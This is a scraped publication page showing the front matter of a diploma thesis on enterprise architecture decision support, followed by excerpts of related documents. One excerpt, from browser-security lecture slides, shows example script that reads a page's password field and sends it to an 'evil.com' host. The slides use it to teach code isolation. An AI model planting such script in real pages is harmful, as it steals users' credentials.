Scenario-Based Architectural Decision Support Within Enterprise Architectures

Total Page:16

File Type:pdf, Size:1020Kb

Scenario-Based Architectural Decision Support Within Enterprise Architectures DIPLOMA THESIS Scenario-based Architectural Decision Support within Enterprise Architectures - Concept and Implementation of a Prototype - Markus Buschle Torsten Derlat Daniel Feller Matr.Nr: 300940 Matr.Nr: 301759 Matr.Nr: 300695 Contessaweg 4A Alte Flatower Straße 21 Schönburgstr. 22 14089 Berlin OT Tietzow 12103 Berlin 14641 Nauen March 2009 Institute for Business Informatics, Faculty of Electrical Engineering and Computer Sciences, Berlin Institute of Technology (BIT), Germany In collaboration with Department of Industrial Information and Control System, Kungliga Tekniska Högskolan, Stockholm, Sweden And Deutsche Telekom Laboratories, Berlin, Germany. Eidesstattliche Erklärung Ich, Markus Buschle, erkläre hiermit an Eides statt, dass ich die vorliegende Diplom- arbeit selbstständig und ohne unerlaubte Hilfe angefertigt, andere als die angegebenen Quellen und Hilfsmittel nicht benutzt und die den benutzten Quellen wörtlich oder inhaltlich entnommen Stellen als solche kenntlich gemacht habe. Berlin, den ................. ................................... Eidesstattliche Erklärung Ich, Torsten Derlat, erkläre hiermit an Eides statt, dass ich die vorliegende Diplomar- beit selbstständig und ohne unerlaubte Hilfe angefertigt, andere als die angegebenen Quellen und Hilfsmittel nicht benutzt und die den benutzten Quellen wörtlich oder inhaltlich entnommen Stellen als solche kenntlich gemacht habe. Berlin, den ................. ................................... Eidesstattliche Erklärung Ich, Daniel Feller, erkläre hiermit an Eides statt, dass ich die vorliegende Diplomar- beit selbstständig und ohne unerlaubte Hilfe angefertigt, andere als die angegebenen Quellen und Hilfsmittel nicht benutzt und die den benutzten Quellen wörtlich oder inhaltlich entnommen Stellen als solche kenntlich gemacht habe. Berlin, den ................. ................................... Zusammenfassung Auf dem Gebiet der Unternehmensarchitektur ist es häufig notwendig, Entscheidun- gen zur Auswahl zwischen verschiedenen alternativen Datenverarbeitungssystemen zu treffen. Oftmals sind die Abhängigkeiten zwischen den Systemen und Einflüsse der verschiedenen Systeme untereinander nicht offensichtlich. Um die Entscheidungs- findung in einer solch komplexen Umgebung zu unterstützen, wird in dieser Arbeit ein Konzept der Unternehmensarchitekturanalyse vorgestellt. Die Methode ermög- licht die Analyse von verschiedenen Aspekten der Unternehmensarchitektur, wie zum Beispiel Verfügbarkeit oder Sicherheit. Die Methode basiert auf verschiedenen Modellen, deren Aufbau erläutert wird. Im ersten Schritt wird ein Meta Modell, ein sogenanntes abstraktes Modell, erzeugt. Dieses stellt die unterschiedlichen Einflüsse zwischen den verschiedenen Systemen und ihren unterschiedlichen Eigenschaften dar. Im zweiten Schritt wird ein sogenann- tes konkretes Modell des abstrakten Modells instanziiert. Dies geschieht durch das Sammeln von unterschiedlichen Belegen über die Existenz der Systeme und die Aus- prägung ihrer Merkmale. Im dritten und letzten Schritt wird ein Bayessches Netzwerk aus diesem konkreten Modell einer Entscheidungsalternative generiert. Wenn mehrere verschiedene Szenarien durch jeweils ein konkretes Modell dargestellt werden, kann die Auswahl einer Alternative durch die quantitative Auswertung dieser Szenarien unterstützt werden. Um die vorgestellte Methode der Analyse von Unternehmensarchitekturen ver- wendbarer zu machen, wird im Rahmen dieser Arbeit das Konzept und die Implemen- tierung einer Software, genannt Enterprise Architecture Tool (EAT), vorgestellt. Zu- erst werden vorab getroffene Entscheidungen und Überlegungen über den Aufbau des Programms und die verwendeten Komponenten beschrieben. Der Aufbau des Prog- ramms wurde so gewählt, dass eine möglichst gute Unterstützung für verteilte Ent- wicklung gegeben ist. Die Implementierung fand unter Berücksichtigung eines Vier-Phasen-Konzeptes statt. Dabei wurden die folgenden Aufgaben „Planung der nächsten Phase‖, ―Bestim- mung von Vorgaben, Alternativen und Einschränkungen durch eine Prioritätenliste―, „Entwicklung und Test― und „Feedback in täglichen und wöchentlichen Meetings― jeweils wiederholt durchgeführt. Der letzte Teil der Arbeit beschreibt die Implementierung der Software, und es werden weitere Ideen und Ansätze zur möglichen Erweiterung des Programms aufge- zeigt. i ii Acknowledgements Many people in many places contributed to this diploma thesis. Especially as this thesis is the outcome of a cooperation between the Berlin Institute of Technology, the Royal Institute of Technology Stockholm (KTH), and the Deutsche Telekom Labora- tories, several supporters aided us to fulfill this project successfully. We, Markus Buschle, Torsten Derlat, and Daniel Feller, have to thank everyone who was involved in the development of this diploma thesis. Following we want to mention all the hel- pers that accompanied us, while we worked on this thesis. Special thanks to Elke Lorenz, who helped us with all organizational matters that we came across from the first day to the final colloquium. She always had time and lots of cookies for us. We are also very grateful to Daniel's dad, Mr. Feller, who helped us to revise this thesis. Our document would not look like this without your assistance. We want to thank Marten Schoenherr, who supported us during the whole time, while we wrote this thesis. Together with Per Närman and Johan Ullberg, he offered us the chance to get part of the cooperation mentioned at the beginning. We are also thankful to Ulrik Franke, who visited us in Berlin and prepared our Stockholm stay with weekly Skype meetings. We want to thank Robert Lagerström, for representing our reception committee in Stockholm. We are also very grateful to Pontus Johnson, who was an important support and motivation to make this diploma thesis possible. Moreover, he provided us with valuable ideas to explore ―Greater Stockholm‖ and the beautiful city itself. We also have to thank Teodor Sommestad for his creative suggestions and helping us booking a ferry to Helsinki. We would also like to thank all the other people who are working at the ICS department of the KTH and supported us before, during or after our stay in Stockholm. In addition, we have to thank Oliver Holschke, who provided us with helpful ideas and sources. We are very grateful to Prof. Dr. rer. nat. Peter Pepper and Prof. Dr. rer. nat. Klaus Obermayer, who agreed spontaneously to attend our final colloquium. Finally yet importantly, we thank our two supervising tutors Prof. Dr. rer. pol. Hermann Krall- mann and Dr.-Ing. Matthias Trier. iii Every one of us additionally has some people, he wants to say thank you to: Markus: First of all I want to thank Daniel and Torsten: I won't have come so far, within the last years, without you. My French friends you avoided me from buying a carpet in Sweden and taught me how to eat canned salad. Many (hug)s go out to my sister, who is always just one text massage away. Thank you for all the favors, and please never forget the superman thing. I am also very grateful to my parents, who always believed in me, no matter what idea I was following. As well, many thanks to the Schmelzel family, who kept me practicing English during the last years. Finally, I want to say thank you to my friends. Together we brunched, danced, and talked away along the bumpy road leading to this diploma thesis. The Baltic Sea won't separate us. Torsten: I want to thank Daniel and Markus for their reliability and friendship since 2004. They are the guarantors for our successful study and for the survival of the coffee industry in the current financial crisis. Then thanks go to my sister, Dana, for her eager reviewing-eye. Without her, many snippy faults would still be hidden in the document. I also thank Steve Ackerman for his reviewing efforts despite his full schedule. Thanks to the System Analysis department for introducing the excitement of research to me. Special thanks to my parents for their support throughout the whole studies. And last but not least, I want to express my gratitude to Ulrike for her uncon- ditional love and motivation (no matter how far away I was). Daniel: I want to thank my parents for making my academic studies possible and for supporting me in every possible aspect. In addition, I want to thank my grandmother for supporting me mentally during rainy days. Especially, I want to thank Andrea for her love, her support, her motivation and every thing else. Finally, I want to thank Markus and Torsten for the great and most successful last four and a half years. Meeting you was one of the best events in my life. iv Table of Contents Zusammenfassung ......................................................................................................... i Acknowledgements ..................................................................................................... iii Table of Contents .......................................................................................................... v Figures ........................................................................................................................ vii Tables .......................................................................................................................... ix Abbreviations............................................................................................................... xi PART I – Introduction .................................................................................................. 1 1
Recommended publications
  • R&S®BBA100 Broadband Amplifier Open
    R&S®BBA100 Broadband Amplifier Open Source Acknowledgment 5353.8300.00 – 01 /RL/1/EN 01.00 / Broadcasting 3575.4620.02 M: - T - PAD Open Source Acknowledgment R&S BBA100 Introduction Contents 1 Introduction ......................................................................................... 3 1.1 Disclaimer ..................................................................................................................... 3 1.2 How to obtain the source code .................................................................................. 3 2 Software packages ............................................................................. 4 3 Verbatim license texts ........................................................................ 7 3.1 Apache License 2.0 ..................................................................................................... 7 3.2 GNU Library General Public License, Version 2.0 (LGPL 2.0) ..............................10 3.3 Boost Software License ............................................................................................18 3.4 GNU General Public License, Version 2.0 (GPL 2.0) ..............................................18 3.5 GNU Lesser General Public License, Version 2.1 (LGPL 2.1) ...............................24 3.6 Mozilla Public License, Version 1.1 (MPL 1.1) ........................................................32 3.7 MIT ...............................................................................................................................40 3.8 JDOM License
    [Show full text]
  • Browser Code Isolation
    CS 155 Spring 2014 Browser code isolation John Mitchell Modern web sites are complex Modern web “site” Code from many sources Combined in many ways Sites handle sensitive information ! Financial data n" Online banking, tax filing, shopping, budgeting, … ! Health data n" Genomics, prescriptions, … ! Personal data n" Email, messaging, affiliations, … Others want this information ! Financial data n" Black-hat hackers, … ! Health data n" Insurance companies, … ! Personal data n" Ad companies, big government, … Modern web “site” Code from many sources Combined in many ways Basic questions ! How do we isolate code from different sources n" Protecting sensitive information in browser n" Ensuring some form of integrity n" Allowing modern functionality, flexible interaction Example:Library ! Library included using tag n" <script src="jquery.js"></script> ! No isolation n" Same frame, same origin as rest of page ! May contain arbitrary code n" Library developer error or malicious trojan horse n" Can redefine core features of JavaScript n" May violate developer invariants, assumptions jQuery used by 78% of the Quantcast top 10,000 sites, over 59% of the top million Second example: advertisement <script src=“https://adpublisher.com/ad1.js”></script> <script src=“https://adpublisher.com/ad2.js”></script>! ! Read password using the DOM API var c = document.getElementsByName(“password”)[0] Directly embedded third-party JavaScript poses a threat to critical hosting page resources Send it to evil location (not subject to SOP) <img src=``http::www.evil.com/info.jpg?_info_”>
    [Show full text]
  • Comparison of Common Xml-Based Web User Interface Languages
    Journal of Web Engineering, Vol. 9, No. 2 (2010) 095–115 c Rinton Press COMPARISON OF COMMON XML-BASED WEB USER INTERFACE LANGUAGES MIKKO POHJA Department of Media Technology, Aalto University P.O. Box 15400, FI-00076 Aalto, Finland mikko.pohja@hut.fi Received August 1, 2009 Revised February 25, 2010 In addition to being a platform for information access, the World Wide Web is increas- ingly becoming an application platform. While web applications have several benefits compared to desktop applications, there are also some problems. With legacy HTML, for example, one cannot produce user interfaces such as those that users have become accustomed to with desktop applications. What worked for static documents is not suf- ficient for the complicated web applications of today. Several parties have addressed this problem by defining a specific UI description language. In addition, the renewal of HTML aims to enhance support for web applications. This study evaluated five XML- based UI description formats, including HTML 5, in order to determine which language is best suited for modern web application development. The study also assessed what kind of applications are suited to each format. The requirements for a Web UI descrip- tion language from the literature were revised and three use cases were defined, through which the languages are evaluated. The paper also presents the model differences of the languages. Keywords: Web User Interface Description Language, Web Application Communicated by: D. Lowe & O. Pastor 1 Introduction Commerce and communication tasks, such as the use of e-mail, are common today on the World Wide Web (WWW), as is a trend towards realizing higher interaction tasks, such as in- formation authoring.
    [Show full text]
  • Kinect Based Painter
    PiccasoNect – - Kinect based Painter Introduction Kinect is a line of motion sensing input devices by Microsoft for Xbox 360 and Xbox One video game consoles and Windows PCs. Based around a webcam-style add-on peripheral, it enables users to control and interact with their console/computer without the need for a game controller, through a natural user interface using gestures and spoken commands. Kinect sensor is based on Prime-Sense technology and there are similar sensors on the market such as Asus Xtion and PrimeSense Carmine. (http://en.wikipedia.org/wiki/Kinect) Windows Presentation Foundation (or WPF) is a graphical subsystem for rendering user interfaces in Windows-based applications by Microsoft. WPF attempts to provide a consistent programming model for building applications and separates the user interface from business logic. It resembles similar XML-oriented object models, such as those implemented in XUL and SVG. (http://en.wikipedia.org/wiki/Windows_Presentation_Foundation) Overview In the project we developed a WPF application which allows the user to create a painting using his hands with minimal interactions with the mouse and keyboard. Using the Kinect, the application follows the user's hands movements, and translates them to a brush strokes. The application allows the user to select a brush from several rendering methods. Application requirements Capture user movements using Kinect sensor Paint the desired brush according to the user hands movements Enable several rendering options to choose from Option to save and send via email the finished painting Project Infrastructure The project is A WPF application, based on Microsoft Kinect SDK 1.7.
    [Show full text]
  • The Glib/GTK+ Development Platform
    The GLib/GTK+ Development Platform A Getting Started Guide Version 0.8 Sébastien Wilmet March 29, 2019 Contents 1 Introduction 3 1.1 License . 3 1.2 Financial Support . 3 1.3 Todo List for this Book and a Quick 2019 Update . 4 1.4 What is GLib and GTK+? . 4 1.5 The GNOME Desktop . 5 1.6 Prerequisites . 6 1.7 Why and When Using the C Language? . 7 1.7.1 Separate the Backend from the Frontend . 7 1.7.2 Other Aspects to Keep in Mind . 8 1.8 Learning Path . 9 1.9 The Development Environment . 10 1.10 Acknowledgments . 10 I GLib, the Core Library 11 2 GLib, the Core Library 12 2.1 Basics . 13 2.1.1 Type Definitions . 13 2.1.2 Frequently Used Macros . 13 2.1.3 Debugging Macros . 14 2.1.4 Memory . 16 2.1.5 String Handling . 18 2.2 Data Structures . 20 2.2.1 Lists . 20 2.2.2 Trees . 24 2.2.3 Hash Tables . 29 2.3 The Main Event Loop . 31 2.4 Other Features . 33 II Object-Oriented Programming in C 35 3 Semi-Object-Oriented Programming in C 37 3.1 Header Example . 37 3.1.1 Project Namespace . 37 3.1.2 Class Namespace . 39 3.1.3 Lowercase, Uppercase or CamelCase? . 39 3.1.4 Include Guard . 39 3.1.5 C++ Support . 39 1 3.1.6 #include . 39 3.1.7 Type Definition . 40 3.1.8 Object Constructor . 40 3.1.9 Object Destructor .
    [Show full text]
  • Decwindows Motif Guide to Application Programming
    DECwindows Motif Guide to Application Programming Order Number: AA–PGZEB–TE January 1994 This document describes the programming interface for widgets provided by Digital in the DECwindows Motif Version 1.2 Toolkit. This document also includes tutorial programming information for the DECwindows Motif Version 1.2 Toolkit. Revision/Update Information: This is a revised manual. Operating System: OpenVMS AXP Version 1.5 VMS Version 5.5–2 Software Version: DECwindows Motif Version 1.2 for OpenVMS AXP DECwindows Motif Version 1.2 for OpenVMS VAX Digital Equipment Corporation Maynard, Massachusetts January 1994 The information in this document is subject to change without notice and should not be construed as a commitment by Digital Equipment Corporation. Digital Equipment Corporation assumes no responsibility for any errors that may appear in this document. The software described in this document is furnished under a license and may be used or copied only in accordance with the terms of such license. No responsibility is assumed for the use or reliability of software on equipment that is not supplied by Digital Equipment Corporation or its affiliated companies. Restricted Rights: Use, duplication, or disclosure by the U.S. Government is subject to restrictions as set forth in subparagraph (c)(1)(ii) of the Rights in Technical Data and Computer Software clause at DFARS 252.227-7013. © Digital Equipment Corporation 1994. All Rights Reserved. The postpaid Reader’s Comments forms at the end of this document request your critical evaluation to assist in preparing future documentation. The following are trademarks of Digital Equipment Corporation: Alpha AXP, AXP, Bookreader, DEC, DECpaint, DECterm, DECwindows, DECwrite, Digital, eXcursion, OpenVMS, VAX, VAX DOCUMENT, VMS, XUI, and the DIGITAL logo.
    [Show full text]
  • A Successor to the X Window System
    Y: A Successor to the X Window System Mark Thomas <[email protected]> Project Supervisor: D. R¨uckert <[email protected]> Second Marker: E. Lupu <[email protected]> June 18, 2003 ii Abstract UNIX desktop environments are a mess. The proliferation of incompatible and inconsistent user interface toolkits is now the primary factor in the failure of enterprises to adopt UNIX as a desktop solution. This report documents the creation of a comprehensive, elegant framework for a complete windowing system, including a standardised graphical user interface toolkit. ‘Y’ addresses many of the problems associated with current systems, whilst keeping and improving on their best features. An initial implementation, which supports simple applications like a terminal emulator, a clock and a calculator, is provided. iii iv Acknowledgements Thanks to Daniel R¨uckert for supervising the project and for his help and advice regarding it. Thanks to David McBride for his assistance with setting up my project machine and providing me with an ATI Radeon for it. Thanks to Philip Willoughby for his knowledge of the POSIX standard and help with the GNU Autotools and some of the more obscure libc functions. Thanks to Andrew Suffield for his help with the GNU Autotools and Arch. Thanks to Nick Maynard and Karl O’Keeffe for discussions on window system and GUI design. Thanks to Tim Southerwood for discussions about possible features of Y. Thanks to Duncan White for discussions about the virtues of X. All company and product names are trademarks and/or registered trademarks of their respective owners.
    [Show full text]
  • Widget Toolkit – Getting Started
    APPLICATION NOTE Atmel AVR1614: Widget Toolkit – Getting Started Atmel Microcontrollers Prerequisites • Required knowledge • Basic knowledge of microcontrollers and the C programming language • Software prerequisites • Atmel® Studio 6 • Atmel Software Framework 3.3.0 or later • Hardware prerequisites • mXT143E Xplained evaluation board • Xplained series MCU evaluation board • Programmer/debugger: • Atmel AVR® JTAGICE 3 • Atmel AVR Dragon™ • Atmel AVR JTAGICE mkll • Atmel AVR ONE! • Estimated completion time • 2 hours Introduction The aim of this document is to introduce the Window system and Widget toolkit (WTK) which is distributed with the Atmel Software Framework. This application note is organized as a training which will go through: • The basics of setting up graphical widgets on a screen to make a graphical user interface (GUI) • How to get feedback when a user has interacted with a widget • How to draw custom graphical elements on the screen 8300B−AVR−07/2012 Table of Contents 1. Introduction to the Window system and widget toolkit ......................... 3 1.1 Overview ........................................................................................................... 3 1.2 The Window system .......................................................................................... 4 1.3 Event handling .................................................................................................. 5 1.3.2 The draw event ................................................................................... 6 1.4 The Widget
    [Show full text]
  • Creation Review Table of Contents Introduction
    Eclipse UFaceKit Project Creation Review Table Of Contents Introduction.......................................................................................... 1 Project Naming................................................................................... 1 Links................................................................................................. 1 Scope................................................................................................... 2 Widget-Toolkit independent highlevel API for Databinding..........................2 Observables for other Widget-Toolkits.....................................................3 Lightweight-Model-Technology...............................................................3 Application Framework.........................................................................3 Other UI-Technologies..........................................................................3 Out of Scope..........................................................................................3 Relationship with other projects................................................................3 Code Contribution...................................................................................4 Mentors................................................................................................ 4 Initial Participants...................................................................................5 Community Support................................................................................5 Roadmap.............................................................................................
    [Show full text]
  • Part I. GTK+ Overview: GTK+ 3 Reference Manual GTK+ Is a Library for Creating Graphical User Interfaces
    Part I. GTK+ Overview: GTK+ 3 Reference Manual GTK+ is a library for creating graphical user interfaces. It works on many UNIX-like platforms, Windows, and OS X. GTK+ is released under the GNU Library General Public License (GNU LGPL), which allows for flexible licensing of client applications. GTK+ has a C-based object-oriented architecture that allows for maximum flexibility. Bindings for many other languages have been written, including C++, Objective-C, Guile/ Scheme, Perl, Python, TOM, Ada95, Free Pascal, and Eiffel. GTK+ depends on the following libraries: GLib A general-purpose utility library, not specific to graphical user interfaces. GLib provides many useful data types, macros, type conversions, string utilities, file utilities, a main loop abstraction, and so on. GObject A library that provides a type system, a collection of fundamental types including an object type, a signal system. GIO A modern, easy-to-use VFS API including abstractions for files, drives, volumes, stream IO, as well as network programming and DBus communication. cairo Cairo is a 2D graphics library with support for multiple output devices. Pango Pango is a library for internationalized text handling. It centers around the PangoLayout object, representing a paragraph of text. Pango provides the engine for GtkTextView, GtkLabel, GtkEntry, and other widgets that display text. ATK ATK is the Accessibility Toolkit. It provides a set of generic interfaces allowing accessibility technologies to interact with a graphical user interface. For example, a screen reader uses ATK to discover the text in an interface and read it to blind users. GTK+ widgets have built-in support for accessibility using the ATK framework.
    [Show full text]
  • Preview Tcl-Tk Tutorial (PDF Version)
    Tcl/Tk About the Tutorial Tcl is a general purpose multi-paradigm system programming language. It is a scripting language that aims at providing the ability for applications to communicate with each other. On the other hand, Tk is a cross platform widget toolkit used for building GUI in many languages. This tutorial covers various topics ranging from the basics of the Tcl/ Tk to its scope in various applications. Audience This tutorial is designed for all those individuals who are looking for a starting point of learning Tcl/ Tk. Therefore, we cover all those topics that are required for a beginner and an advanced user. Prerequisites Before proceeding with this tutorial, it is advisable for you to understand the basic concepts of computer programming. This tutorial is self-contained and you will be able to learn various concepts of Tcl/Tk even if you are a beginner. You just need to have a basic understanding of working with a simple text editor and command line. Disclaimer & Copyright Copyright 2015 by Tutorials Point (I) Pvt. Ltd. All the content and graphics published in this e-book are the property of Tutorials Point (I) Pvt. Ltd. The user of this e-book is prohibited to reuse, retain, copy, distribute, or republish any contents or a part of contents of this e-book in any manner without written consent of the publisher. We strive to update the contents of our website and tutorials as timely and as precisely as possible, however, the contents may contain inaccuracies or errors. Tutorials Point (I) Pvt.
    [Show full text]
  • Multi-Platform User Interface Construction – a Challenge for Software Engineering-In-The-Small
    Multi-platform User Interface Construction – A Challenge for Software Engineering-in-the-Small Judith Bishop Department of Computer Science University of Pretoria Pretoria 0002 South Africa [email protected] ABSTRACT The popular view of software engineering focuses on managing 1. INTRODUCTION teams of people to produce large systems. This paper addresses a 1.1 Software engineering different angle of software engineering, that of development for Software engineering as a discipline is perceived as tackling re-use and portability. We consider how an essential part of computing in-the-large. It elevates tools and techniques from the most software products – the user interface – can be successfully level of a craft, to where they can be efficiently and reproducibly engineered so that it can be portable across multiple platforms harnessed for the successful completion of large projects. and on multiple devices. Our research has identified the structure of the problem domain, and we have filled in some of Thirty years ago in 1975, Fred Brooks introduced us to the the answers. We investigate promising solutions from the mythical man month of software development [Brooks 1975] model-driven frameworks of the 1990s, to modern XML-based and followed this with the “no silver bullet” paper, in which he specification notations (Views, XUL, XIML, XAML), multi- talked about software engineering as being a process of building platform toolkits (Qt and Gtk), and our new work, Mirrors software with “specifications, assembly of components, and which pioneers reflective libraries. The methodology on which scaffolding” [Brooks 1987]. Boehm, too, found in 1976 that Views and Mirrors is based enables existing GUI libraries to be software engineering was, encouragingly, concentrating on the transported to new operating systems.
    [Show full text]